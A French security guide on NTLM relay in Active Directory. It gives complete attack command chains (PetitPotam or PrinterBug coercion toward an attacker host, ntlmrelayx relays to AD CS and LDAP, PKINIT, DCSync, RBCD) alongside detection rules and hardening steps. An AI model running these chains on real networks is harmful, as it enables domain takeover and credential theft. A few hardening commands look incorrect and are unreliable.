NTLM Relay 2026 : Attaque Moderne et Défense [Guide]

Le NTLM relay reste en 2026 l'une des attaques Active Directory les plus efficaces et les plus négligées par les équipes sécurité. Théorisée dès 2001 par SilverNail, démocratisée en 2008 avec Squirtle puis Responder, l'attaque connaît une renaissance depuis 2021 avec l'émergence des techniques de coercition d'authentification (PetitPotam, PrinterBug, DFSCoerce) qui transforment n'importe quelle écoute LLMNR/mDNS en compromission de domaine. Microsoft a annoncé en octobre 2023 son intention de déprécier NTLM, mais en pratique, plus de 95% des environnements Active Directory en 2026 supportent encore NTLM par défaut pour des raisons de compatibilité, et la majorité d'entre eux ne déploient ni SMB signing complet, ni LDAP signing strict, ni EPA. Ce guide expert détaille les vecteurs d'attaque modernes, présente les chaînes d'exploitation jusqu'à la compromission de domaine via AD CS ESC8 ou RBCD, et propose une stratégie de défense en profondeur opérationnelle pour les RSSI et architectes AD.

1. Rappel : pourquoi NTLM reste-t-il vulnérable au relay ?

NTLM (NT LAN Manager) est un protocole d'authentification challenge-response développé par Microsoft dans les années 1990. Sa version 2 (NTLMv2) reste largement utilisée dans les environnements Windows, notamment pour les scénarios où Kerberos ne fonctionne pas : authentification par adresse IP, machines hors domaine, applications legacy. Le protocole repose sur un échange en trois messages : NEGOTIATE, CHALLENGE, AUTHENTICATE. Le client prouve son identité en chiffrant un challenge envoyé par le serveur avec le hash NT de son mot de passe.

1.1 La faille conceptuelle

NTLM souffre d'un défaut fondamental documenté dans la spécification MS-NLMP : il n'authentifie pas le serveur. Quand le client répond au challenge, il prouve à n'importe qui qu'il connaît le hash NT, mais il ne vérifie pas que le serveur destinataire est celui qu'il prétend être. Un attaquant en position MITM peut donc rejouer le NTLM_AUTHENTICATE vers un autre service que celui auquel le client voulait se connecter. Le service relayé acceptera l'authentification car le challenge et la réponse sont cryptographiquement valides.

1.2 NTLM relay vs Pass-the-Hash

Confusion fréquente : ces deux attaques sont distinctes mais complémentaires.

Critère	NTLM Relay	Pass-the-Hash
Prérequis	Position MITM ou coercition	Hash NT déjà extrait
Cible directe	Service tiers	Service avec hash valide
Action utilisateur	Authentification provoquée	Aucune
Mitigation principale	Signing, EPA	Restriction NTLM, Protected Users

2. Les vecteurs de coercition d'authentification 2026

Le NTLM relay nécessite qu'une victime initie une authentification vers une machine contrôlée par l'attaquant. Les techniques de coercition forcent cette authentification. Depuis 2021, leur sophistication a explosé.

2.1 PetitPotam (MS-EFSRPC)

Découverte par GILLES Lionel en juillet 2021, PetitPotam exploite l'interface RPC MS-EFSRPC. Une seule fonction (EfsRpcOpenFileRaw) prend en paramètre un chemin UNC : si l'attaquant fournit \\\\attacker_ip\\share, le serveur cible se connecte à l'attaquant avec son compte machine, déclenchant une authentification NTLM exploitable.

# Exploitation PetitPotam
python3 PetitPotam.py -d corp.local -u 'jdoe' -p 'Password123' attacker_ip dc01.corp.local

# Variante anonymous (avant patch CVE-2021-36942)
python3 PetitPotam.py -no-pass attacker_ip dc01.corp.local

2.2 PrinterBug (MS-RPRN)

PrinterBug exploite la fonction RpcRemoteFindFirstPrinterChangeNotificationEx du service Print Spooler. Disponible depuis 2018, elle reste exploitable sur tout DC où Print Spooler est actif. Microsoft a recommandé de désactiver Print Spooler sur les DC depuis PrintNightmare en 2021, mais le déploiement réel reste partiel.

# Exploitation PrinterBug
python3 printerbug.py corp.local/jdoe:Password123@dc01.corp.local attacker_ip

2.3 DFSCoerce (MS-DFSNM)

Publiée en juin 2022, DFSCoerce exploite l'interface MS-DFSNM utilisée par DFS Namespaces. Particularité : elle fonctionne même quand PetitPotam et PrinterBug sont mitigés. Elle nécessite cependant un compte authentifié.

2.4 ShadowCoerce (MS-FSRVP)

ShadowCoerce cible l'interface MS-FSRVP (File Server Remote VSS Protocol). Moins répandue mais utile dans certains environnements de sauvegarde Volume Shadow Copy.

2.5 Coercion via WebDAV (CVE-2023-23397)

Le vecteur le plus moderne et redoutable. CVE-2023-23397 dans Outlook permet de déclencher une authentification NTLM via un email contenant un rappel calendar pointant vers \\\\attacker_ip\\share\\sound.wav. La victime n'a même pas besoin d'ouvrir l'email — la prévisualisation suffit. Patché en 2023 mais les variantes persistent en 2026.

2.6 LLMNR/NBT-NS/mDNS poisoning

Méthode historique mais toujours efficace. Les protocoles LLMNR (UDP 5355) et NBT-NS (UDP 137) sont activés par défaut sur Windows et résolvent les noms non trouvés dans DNS via broadcast. Responder répond à ces requêtes et collecte les authentifications.

# Responder en mode relay-friendly
sudo responder -I eth0 -A -wd
# -w : WPAD enabled, -d : DHCP poisoning, -A : analyse

3. Chaîne d'attaque type : de la coercition à Domain Admin

Une attaque NTLM relay complète enchaîne typiquement six phases, en moins de 30 minutes sur un AD non durci.

3.1 Phase 1 — Reconnaissance

L'attaquant identifie les DC, les serveurs avec Print Spooler, le statut SMB signing et la présence d'AD CS via nmap, crackmapexec ou NetExec.

# Énumération SMB signing
nxc smb 10.10.10.0/24 --gen-relay-list relay-targets.txt

# Identifier AD CS Web Enrollment (ESC8)
nxc smb 10.10.10.0/24 --shares
crackmapexec ldap dc01.corp.local -u jdoe -p Password123 -M adcs

# Status NTLM relay attractif
ldapsearch -H ldap://dc01.corp.local -b "CN=Configuration,DC=corp,DC=local" "(objectClass=pKIEnrollmentService)"

3.2 Phase 2 — Préparation du relai

impacket-ntlmrelayx est lancé en mode HTTP→LDAP avec cible le DC.

# Relay vers LDAP avec dump et création de compte
impacket-ntlmrelayx -t ldaps://dc01.corp.local -wh attacker_ip --no-validate-privs -smb2support

# Relay vers AD CS Web Enrollment (ESC8) — chemin moderne
impacket-ntlmrelayx -t http://adcs.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Relay SMB → DCSync (si signing désactivé)
impacket-ntlmrelayx -t smb://dc01.corp.local -smb2support --no-smb-server

3.3 Phase 3 — Coercition

Depuis un compte standard, l'attaquant déclenche la coercition vers son listener.

# PetitPotam vers le relai (port 80 du listener ntlmrelayx)
python3 PetitPotam.py -d corp.local -u jdoe -p Password123 attacker_ip dc01.corp.local

# Ou via PrinterBug si Print Spooler actif
python3 printerbug.py corp.local/jdoe:Password123@dc01.corp.local attacker_ip

3.4 Phase 4 — Exploitation du relai

Le DC s'authentifie auprès de l'attaquant avec son compte machine DC01$. ntlmrelayx relaie l'authentification vers AD CS Web Enrollment et demande un certificat au nom de DC01$ avec template DomainController.

[*] HTTPD: Received connection from 10.10.10.50, attacking target http://adcs.corp.local
[*] HTTPD: Authenticating against http://adcs.corp.local as CORP/DC01$ SUCCEED
[*] Issuing certificate for CN=DC01.corp.local
[*] Certificate stored: dc01.pfx

3.5 Phase 5 — Utilisation du certificat (PKINIT)

Avec le certificat machine du DC, l'attaquant s'authentifie via PKINIT et obtient un TGT pour DC01$ — qui a des privilèges de réplication AD.

# Récupération TGT via PKINIT
python3 gettgtpkinit.py -cert-pfx dc01.pfx -pfx-pass '' corp.local/DC01\$ dc01.ccache

export KRB5CCNAME=dc01.ccache

# DCSync : extraction de tous les hashes du domaine
secretsdump.py -k -no-pass corp.local/DC01\$@dc01.corp.local

3.6 Phase 6 — Persistance et latéralisation

Avec le hash de krbtgt, l'attaquant peut désormais forger des Golden Tickets et persister indéfiniment dans le domaine. La compromission complète a été obtenue à partir d'un simple compte utilisateur.

4. Variantes 2026 du relay NTLM

Au-delà du relay classique HTTP→LDAP/AD CS, plusieurs variantes méritent d'être maîtrisées.

4.1 Cross-protocol relay

Source → Destination	Mitigation côté cible	Exploitable en 2026 ?
SMB → SMB	SMB signing required	Si signing non requis
SMB → LDAP	LDAP signing + Channel Binding	Rarement appliqué strict
SMB → LDAPS	EPA (Channel Binding)	Souvent non configuré
HTTP → LDAP/LDAPS	EPA + Channel Binding	Très souvent exploitable
HTTP → AD CS Web Enrollment	EPA + SSL only	Le vecteur le plus moderne
HTTP → MSSQL	Force Encryption	Si encryption optionnelle
HTTP → Exchange EWS	EPA	Possible si non configuré

4.2 RBCD via S4U2self

Le Resource-Based Constrained Delegation (RBCD) ouvre un chemin d'attaque puissant. Si l'attaquant peut relay vers LDAP avec un compte ayant WriteProperty sur l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity de la cible, il peut ajouter un compte machine qu'il contrôle dans cette ACL et faire des S4U2self pour n'importe quel utilisateur.

# Activer RBCD via NTLM relay sur LDAP
impacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access -smb2support

# Une fois le compte machine ajouté, abuser via S4U
getST.py -spn cifs/dc01.corp.local -impersonate Administrator -dc-ip 10.10.10.10 corp.local/attacker_pc\$:'password'

# Pass-the-Ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass dc01.corp.local

4.3 Shadow Credentials (msDS-KeyCredentialLink)

Variante plus furtive que RBCD. Au lieu de modifier les permissions de délégation, l'attaquant ajoute une clé publique sur l'attribut msDS-KeyCredentialLink de la cible, permettant ensuite un PKINIT comme cette identité.

impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target 'DC01$' -smb2support

4.4 IPv6 mitm6

mitm6 exploite la préférence Windows pour IPv6 et l'absence fréquente de DHCPv6 dans le réseau. L'outil répond aux requêtes DHCPv6 et se déclare DNS server IPv6, permettant d'intercepter le trafic et de relayer les authentifications WPAD.

# mitm6 + ntlmrelayx HTTP → LDAPS
mitm6 -d corp.local &
impacket-ntlmrelayx -6 -t ldaps://dc01.corp.local -wh wpad.corp.local --no-validate-privs -smb2support

5. Outils offensifs essentiels en 2026

Trois outils dominent l'écosystème NTLM relay en 2026, complétés par plusieurs utilitaires spécialisés.

5.1 Impacket suite

• ntlmrelayx.py — Le couteau suisse du relay : SMB, LDAP, HTTP, MSSQL, AD CS. Supporte les options furtives, le pivoting, l'output structuré.
• secretsdump.py — DCSync, extraction SAM/LSA après compromission.
• smbserver.py — Faux serveur SMB pour captures NTLMv2.
• responder.py integration — Coopération avec Responder pour les déclencheurs LLMNR.

5.2 Responder

Outil historique de Laurent Gaffié, Responder reste la référence pour LLMNR/NBT-NS/mDNS poisoning. En 2026, sa version 3.1 ajoute le support DNS over HTTPS poisoning et la coopération native avec ntlmrelayx via -r.

# Responder en mode "Poison & forward to relay"
# /etc/responder/Responder.conf :
SMB = Off
HTTP = Off
HTTPS = Off

sudo responder -I eth0 -dwv
# En parallèle :
sudo impacket-ntlmrelayx -tf relay-targets.txt -smb2support

5.3 NetExec (successeur de CrackMapExec)

NetExec (nxc) a remplacé CrackMapExec en 2023. Indispensable pour la reconnaissance, l'identification des cibles avec SMB signing désactivé et le post-exploitation.

# Découverte des cibles relay-éligibles
nxc smb 10.10.10.0/24 --gen-relay-list relay-targets.txt

# Audit signing complet
nxc smb 10.10.10.0/24 --filter-host-info-pwd

# Énumération ADCS
nxc ldap dc01.corp.local -u user -p pass -M adcs

5.4 Coercer.py

Outil signé par p0dalirius (2022) qui agrège plusieurs vecteurs de coercition (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEvenRPC) dans un seul script avec auto-détection des interfaces vulnérables.

5.5 Krbrelayx

Variante par Dirk-jan Mollema pour le relay Kerberos (oui, Kerberos relay existe via certaines conditions). Marginal en 2026 mais utile dans certains environnements particuliers.

6. Détection côté SOC

La détection du NTLM relay repose sur la corrélation de plusieurs sources : événements Windows, logs réseau, télémétrie EDR.

6.1 Événements Windows clés

EventID	Source	Signal
4624	Security DC	Logon NTLM (Type 3) avec IP source inattendue pour compte machine
8004	NTLM Operational	NTLM authentication réussie — utile pour audit complet
4625	Security	Échec NTLM en série depuis une seule IP — Responder en action
5145	Security	Accès partage réseau — accès anormaux depuis comptes machine
5805	System	Échec authentification machine — indicateur de coercition

6.2 Règle Sigma — Coercition par compte machine

title: NTLM Machine Account Authenticating to External IP
description: Detects DC or critical server machine account authenticating with NTLM type 3 to non-domain IP
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 3
    AuthenticationPackageName: NTLM
    TargetUserName|endswith: '$'
  filter_internal:
    IpAddress|cidr:
      - '10.0.0.0/8'
      - '192.168.0.0/16'
      - '172.16.0.0/12'
  condition: selection and not filter_internal
level: high

6.3 Indicateurs réseau

• Trafic SMB sortant vers IP non-domaine depuis comptes machine.
• Requêtes LLMNR/NBT-NS en volume anormal (Responder est très bavard).
• WPAD via HTTP vers IPs internes non documentées.
• Requêtes DCERPC sur ports 49152-65535 vers DC depuis non-DC.
• DHCPv6 et RA flooding en l'absence de stack IPv6 légitime.

6.4 Honeypot et canary

Déployer un compte machine leurre avec un nom attractif (fileserver-finance$) et auditer toute authentification NTLM le concernant est très efficace. Toute tentative est par construction suspecte.

7. Mitigations : la défense en profondeur

Aucune mitigation unique ne supprime totalement le risque NTLM relay. La défense robuste combine cinq mesures hiérarchisées.

7.1 Mesure 1 — SMB signing requis partout

SMB signing prouve qu'un message n'a pas été altéré entre client et serveur. Quand SMB signing est required côté serveur, le relay SMB→SMB devient inopérant.

GPO : Computer Configuration → Windows Settings → Security Settings →
       Local Policies → Security Options

Microsoft network server: Digitally sign communications (always) = Enabled
Microsoft network client: Digitally sign communications (always) = Enabled

Vérification :
nxc smb 10.10.10.0/24 -u '' -p '' --shares | grep signing

Microsoft a activé par défaut SMB signing sur Windows 11 24H2 et Server 2025. Pour les versions antérieures, l'activation est manuelle. Le coût en performance est inférieur à 5% sur du matériel moderne.

7.2 Mesure 2 — LDAP signing et Channel Binding

Le DC doit imposer LDAP signing et LDAPS Channel Binding (Extended Protection for Authentication).

GPO :
Domain controller: LDAP server signing requirements = Require signing
Domain controller: LDAP server channel binding token requirements = Always

Côté client (clé registre) :
HKLM\SYSTEM\CurrentControlSet\Services\LDAP\LDAPClientIntegrity = 2

Microsoft a fait du Channel Binding une exigence par défaut depuis mars 2024 (KB5021130). Mais l'application complète demande encore une vérification manuelle.

7.3 Mesure 3 — Extended Protection for Authentication (EPA)

EPA lie l'authentification NTLM au canal TLS sous-jacent, empêchant le relay HTTPS→LDAPS, HTTPS→AD CS, HTTPS→Exchange. Configuration nécessaire sur chaque service (IIS, AD CS Web Enrollment, Exchange).

# AD CS Web Enrollment — activation EPA
Set-WebConfigurationProperty -Filter "/system.webServer/security/authentication/windowsAuthentication" -Name "extendedProtection.tokenChecking" -Value "Require" -PSPath IIS:\Sites\Default

# Forcer HTTPS uniquement
Set-WebConfigurationProperty -Filter "/system.webServer/security/access" -Name "sslFlags" -Value "Ssl,SslRequireCert"

7.4 Mesure 4 — Désactivation NTLM ciblée

La GPO Restrict NTLM permet de bloquer NTLM par défaut tout en autorisant des exceptions. Approche par phases :

1. Audit — Activer « Audit Incoming NTLM Traffic » pendant 30 jours pour identifier les usages légitimes.
2. Exceptions — Créer la liste blanche des serveurs/applications nécessitant NTLM.
3. Restriction — Activer « Deny all » + exceptions.
4. Décommissionnement — Sur l'horizon 2-3 ans, retirer les exceptions une à une.

7.5 Mesure 5 — Désactiver LLMNR, NBT-NS, mDNS

GPO LLMNR :
Computer Configuration → Administrative Templates → Network →
  DNS Client → Turn off multicast name resolution = Enabled

GPO NBT-NS via netsh ou DHCP option 002 :
netsh interface ipv4 set interface "Ethernet" forwarding=disabled

mDNS (depuis Windows 11) :
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0

IPv6 si non utilisé :
DisabledComponents = 0xFF (registry)

7.6 Mesure 6 — Patches PetitPotam et coercion

Plusieurs patches Microsoft mitigent les coercitions :

• KB5005413 — PetitPotam (anonyme bloqué).
• KB5023786 — Hardening MS-EFSRPC en client local.
• Désactivation Print Spooler sur DC — recommandation post-PrintNightmare.
• CVE-2023-23397 — Outlook NTLM via .msg/calendar.

7.7 Mesure 7 — Protected Users et Account is Sensitive

Placer les comptes Tier 0 dans le groupe Protected Users : désactive NTLM, force Kerberos AES, interdit la délégation. Marquer aussi les comptes sensibles avec Account is sensitive and cannot be delegated pour empêcher les attaques par délégation.

8. Cas d'étude : audit NTLM relay en grande entreprise

Audit anonymisé réalisé en 2025 sur un groupe industriel français de 35 000 utilisateurs.

8.1 Constats initiaux

Périmètre audité : 850 serveurs Windows, 12 forêts AD interconnectées
Outils : NetExec, ntlmrelayx, PetitPotam, manual review

Résultats :
- 712 serveurs SMB sans signing required (84%)
- 9 DC sans LDAP signing strict (75%)
- AD CS Web Enrollment sans EPA sur 4 forêts
- LLMNR/NBT-NS actif par défaut sur l'ensemble du parc workstations
- Print Spooler actif sur 8 DC (66%)
- IPv6 actif mais non configuré → mitm6 exploitable

8.2 Démonstration en boîte grise

À partir d'un compte utilisateur standard et d'une station de travail générique, la chaîne PetitPotam → ntlmrelayx → ADCS ESC8 → PKINIT → DCSync a abouti à la compromission de la forêt racine en 17 minutes. L'incident démontré a permis d'obtenir un budget de remédiation prioritaire de 2,3 M€.

8.3 Plan de remédiation

1. Q1 — Désactivation Print Spooler sur DC, patches CVE relay, activation Audit NTLM Incoming.
2. Q2 — EPA sur AD CS Web Enrollment + désactivation HTTP (HTTPS only), LDAP signing strict sur DC.
3. Q3 — SMB signing required via GPO sur 100% serveurs + workstations, GPO LLMNR/NBT-NS off.
4. Q4 — Restriction NTLM (Deny All + exceptions auditées), comptes Tier 0 dans Protected Users.

9. NTLM en environnement hybride et Entra ID

L'adoption d'Entra ID change le paysage sans supprimer le risque NTLM relay sur l'AD on-prem.

9.1 Le rôle du serveur Entra Connect

Le serveur Entra Connect (anciennement Azure AD Connect) synchronise l'AD on-prem vers Entra ID. Il fait tourner deux comptes critiques : MSOL_xxx avec droits DCSync sur l'AD et un compte global admin Entra. Compromettre ce serveur via NTLM relay donne accès aux deux mondes. C'est une cible de choix.

9.2 Pass-through Authentication (PTA)

En mode PTA, les authentifications cloud retombent sur des agents on-prem qui valident contre l'AD. Ces agents acceptent NTLM sur localhost et peuvent dans certaines configurations être relayés.

9.3 Cloud Kerberos Trust

Le mode Cloud Kerberos Trust introduit en 2022 permet à Windows Hello for Business de fonctionner en utilisant Entra ID comme KDC. Il réduit la dépendance NTLM mais nécessite encore le déploiement complet pour bénéficier des protections.

10. Roadmap de décommissionnement NTLM

Microsoft a annoncé en octobre 2023 sa volonté de déprécier NTLM. Le calendrier réaliste pour 2026-2028 :

Horizon	Action	Effort
0-6 mois	Audit NTLM Incoming, identification des dépendances	Faible
6-12 mois	Activation signing partout, EPA sur services HTTPS	Moyen
12-24 mois	Migration applications legacy vers Kerberos/SAML/OIDC	Élevé
24-36 mois	Restrict NTLM Deny + exceptions documentées	Moyen
36+ mois	Désactivation complète NTLM, monitoring résiduel	Faible

L'effort principal est sur les applications legacy. La gouvernance doit intégrer cette roadmap au plan stratégique IT et bloquer toute nouvelle dépendance NTLM dans les architectures cibles.

FAQ

NTLM va-t-il vraiment disparaître bientôt ?

Microsoft a annoncé sa dépréciation mais sans date ferme de fin de support. En pratique, NTLM sera supporté pendant au moins 5-7 ans encore pour des raisons de compatibilité. Les organisations doivent toutefois planifier dès maintenant son retrait progressif car son maintien représente un risque sécurité majeur croissant. Les nouvelles applications doivent impérativement éviter NTLM au profit de Kerberos, SAML 2.0 ou OAuth/OIDC.

SMB signing impacte-t-il les performances ?

L'impact est marginal sur matériel moderne (moins de 5% sur les transferts SMB intensifs). Sur les serveurs anciens (Windows Server 2008/2012) ou les liaisons WAN bas débit, l'impact peut être perceptible mais reste acceptable. Le calcul performance/sécurité penche clairement en faveur de l'activation. Microsoft active SMB signing par défaut depuis Windows 11 24H2 et Server 2025.

EPA et Channel Binding c'est la même chose ?

Quasi-synonymes en pratique. EPA (Extended Protection for Authentication) est le terme marketing Microsoft. Channel Binding est le mécanisme technique sous-jacent défini dans la RFC 5929. Tous deux désignent la liaison cryptographique entre l'authentification NTLM/Negotiate et le canal TLS sous-jacent, empêchant qu'une authentification volée soit rejouée sur un autre canal TLS.

Pourquoi PetitPotam est-il particulièrement dangereux ?

PetitPotam combine quatre caractéristiques redoutables : il peut être déclenché par n'importe quel compte authentifié (parfois anonymement avant patch), il vise systématiquement le compte machine du DC, l'authentification résultante est typiquement relayable vers AD CS ESC8, et cette chaîne aboutit à la compromission totale de l'AD en quelques minutes. C'est devenu LA technique standard de toutes les missions Red Team AD depuis 2021.

Comment savoir si mon environnement est vulnérable au NTLM relay ?

Trois tests rapides. Premier : auditer SMB signing avec nxc smb subnet --gen-relay-list out.txt. Si le fichier contient des serveurs, le relay SMB est possible. Deuxième : tester EPA sur AD CS Web Enrollment via certipy find -u user -p pass -dc-ip ip. Troisième : vérifier la présence de Print Spooler sur les DC via nxc smb dc01 -u user -p pass -M printerbug. La présence d'au moins un défaut justifie un audit complet.

Faut-il craindre le NTLM relay sur les domaines Azure AD DS (managed) ?

Oui. Azure AD Domain Services expose un AD managé qui supporte NTLM avec un contrôle de configuration limité côté client. Les attaques classiques NTLM relay restent applicables si les conditions sont réunies (signing désactivé, EPA non configuré). De plus, certaines mesures de durcissement sont impossibles à appliquer manuellement car Microsoft contrôle le DC. Privilégier Entra ID natif quand possible et limiter l'exposition d'AD DS aux scénarios strictement nécessaires.

Conclusion & Pour approfondir

Le NTLM relay reste en 2026 l'une des attaques les plus économiques et les plus dévastatrices contre les environnements Active Directory. Sa puissance vient de la combinaison de trois facteurs : un protocole NTLM conceptuellement vulnérable, des techniques de coercition d'authentification toujours plus sophistiquées (PetitPotam, DFSCoerce, WebDAV), et des chemins d'exploitation modernes via AD CS ESC8, RBCD ou Shadow Credentials qui mènent en quelques minutes à la compromission totale. La défense exige une approche systémique : SMB signing required partout, LDAP signing et Channel Binding sur les DC, EPA sur tous les services HTTPS sensibles, désactivation des protocoles legacy LLMNR/NBT-NS/mDNS, et roadmap pluriannuelle de décommissionnement de NTLM. Les organisations qui appliquent ces sept mesures rendent le NTLM relay non rentable et coupent la chaîne d'attaque la plus rapide vers Domain Admin connue à ce jour.

• NTLM relay moderne SMB HTTP : guide — approfondissement protocole
• Pass-the-Hash et attaque NTLM AD — vecteur complémentaire
• AD CS 2026 ESC1 à ESC15 : bilan complet — détail des chemins d'exploitation AD CS
• RBCD attaque et défense Active Directory — Resource-Based Constrained Delegation
• Responder pentest Active Directory guide — outillage Responder